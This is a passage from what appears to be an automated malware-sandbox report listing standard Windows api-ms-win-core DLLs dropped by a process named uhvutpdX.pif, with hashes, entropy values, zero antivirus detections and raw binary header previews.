                                                                                    SSDEEP:192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
                                                                                    MD5:E479444BDD4AE4577FD32314A68F5D28
                                                                                    SHA1:77EDF9509A252E886D4DA388BF9C9294D95498EB
                                                                                    SHA-256:C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
                                                                                    SHA-512:2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..|........8...T...T.......4..|........d...............4..|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-handle-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.1117101479630005
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
                                                                                    MD5:6DB54065B33861967B491DD1C8FD8595
                                                                                    SHA1:ED0938BBC0E2A863859AAD64606B8FC4C69B810A
                                                                                    SHA-256:945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
                                                                                    SHA-512:AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-heap-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.174986589968396
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
                                                                                    MD5:2EA3901D7B50BF6071EC8732371B821C
                                                                                    SHA1:E7BE926F0F7D842271F7EDC7A4989544F4477DA7
                                                                                    SHA-256:44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
                                                                                    SHA-512:6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-interlocked-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):17856
                                                                                    Entropy (8bit):7.076803035880586
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
                                                                                    MD5:D97A1CB141C6806F0101A5ED2673A63D
                                                                                    SHA1:D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
                                                                                    SHA-256:DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
                                                                                    SHA-512:0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-libraryloader-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18744
                                                                                    Entropy (8bit):7.131154779640255
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
                                                                                    MD5:D0873E21721D04E20B6FFB038ACCF2F1
                                                                                    SHA1:9E39E505D80D67B347B19A349A1532746C1F7F88
                                                                                    SHA-256:BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
                                                                                    SHA-512:4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u*l...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....u*l........A...T...T........u*l........d................u*l....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............u*l....................(...p...........R...}...............*...Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-localization-l1-2-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):20792
                                                                                    Entropy (8bit):7.089032314841867
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
                                                                                    MD5:EFF11130BFE0D9C90C0026BF2FB219AE
                                                                                    SHA1:CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
                                                                                    SHA-256:03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
                                                                                    SHA-512:8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-memory-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18744
                                                                                    Entropy (8bit):7.101895292899441
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
                                                                                    MD5:D500D9E24F33933956DF0E26F087FD91
                                                                                    SHA1:6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
                                                                                    SHA-256:BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
                                                                                    SHA-512:C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...|...................=...................................api-ms-win-core-memory-l1-1-0.dl

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-namedpipe-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.16337963516533
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
                                                                                    MD5:6F6796D1278670CCE6E2D85199623E27
                                                                                    SHA1:8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
                                                                                    SHA-256:C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
                                                                                    SHA-512:6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processenvironment-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):19248
                                                                                    Entropy (8bit):7.073730829887072
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
                                                                                    MD5:5F73A814936C8E7E4A2DFD68876143C8
                                                                                    SHA1:D960016C4F553E461AFB5B06B039A15D2E76135E
                                                                                    SHA-256:96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
                                                                                    SHA-512:77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):19392
                                                                                    Entropy (8bit):7.082421046253008
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
                                                                                    MD5:A2D7D7711F9C0E3E065B2929FF342666
                                                                                    SHA1:A17B1F36E73B82EF9BFB831058F187535A550EB8
                                                                                    SHA-256:9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
                                                                                    SHA-512:D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-1.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18744
                                                                                    Entropy (8bit):7.1156948849491055
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
                                                                                    MD5:D0289835D97D103BAD0DD7B9637538A1
                                                                                    SHA1:8CEEBE1E9ABB0044808122557DE8AAB28AD14575
                                                                                    SHA-256:91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
                                                                                    SHA-512:97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-profile-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):17712
                                                                                    Entropy (8bit):7.187691342157284
                                                                                    Encrypted:false
                                                                                    SSDEEP:192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
                                                                                    MD5:FEE0926AA1BF00F2BEC9DA5DB7B2DE56
                                                                                    SHA1:F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
                                                                                    SHA-256:8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
                                                                                    SHA-512:0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-rtlsupport-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):17720
                                                                                    Entropy (8bit):7.19694878324007
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
                                                                                    MD5:FDBA0DB0A1652D86CD471EAA509E56EA
                                                                                    SHA1:3197CB45787D47BAC80223E3E98851E48A122EFA
                                                                                    SHA-256:2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
                                                                                    SHA-512:E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-string-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18232
                                                                                    Entropy (8bit):7.137724132900032
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
                                                                                    MD5:12CC7D8017023EF04EBDD28EF9558305
                                                                                    SHA1:F859A66009D1CAAE88BF36B569B63E1FBDAE9493
                                                                                    SHA-256:7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
                                                                                    SHA-512:F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):20280
                                                                                    Entropy (8bit):7.04640581473745
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
                                                                                    MD5:71AF7ED2A72267AAAD8564524903CFF6
                                                                                    SHA1:8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
                                                                                    SHA-256:5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
                                                                                    SHA-512:7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-2-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):18744
                                                                                    Entropy (8bit):7.138910839042951
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
                                                                                    MD5:0D1AA99ED8069BA73CFD74B0FDDC7B3A
                                                                                    SHA1:BA1F5384072DF8AF5743F81FD02C98773B5ED147
                                                                                    SHA-256:30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
                                                                                    SHA-512:6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...X*uY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....X*uY........9...T...T.......X*uY........d...............X*uY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...|...............H...................A.....................................api-ms-win-core-synch-

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-sysinfo-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
                                                                                    Size (bytes):19248
                                                                                    Entropy (8bit):7.072555805949365
                                                                                    Encrypted:false
                                                                                    SSDEEP:384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
                                                                                    MD5:19A40AF040BD7ADD901AA967600259D9
                                                                                    SHA1:05B6322979B0B67526AE5CD6E820596CBE7393E4
                                                                                    SHA-256:4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
                                                                                    SHA-512:5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
                                                                                    Malicious:false
                                                                                    Antivirus:
                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

                                                                                    C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-timezone-l1-1-0.dll

                                                                                    Download File
                                                                                    Process:C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                    Category:dropped
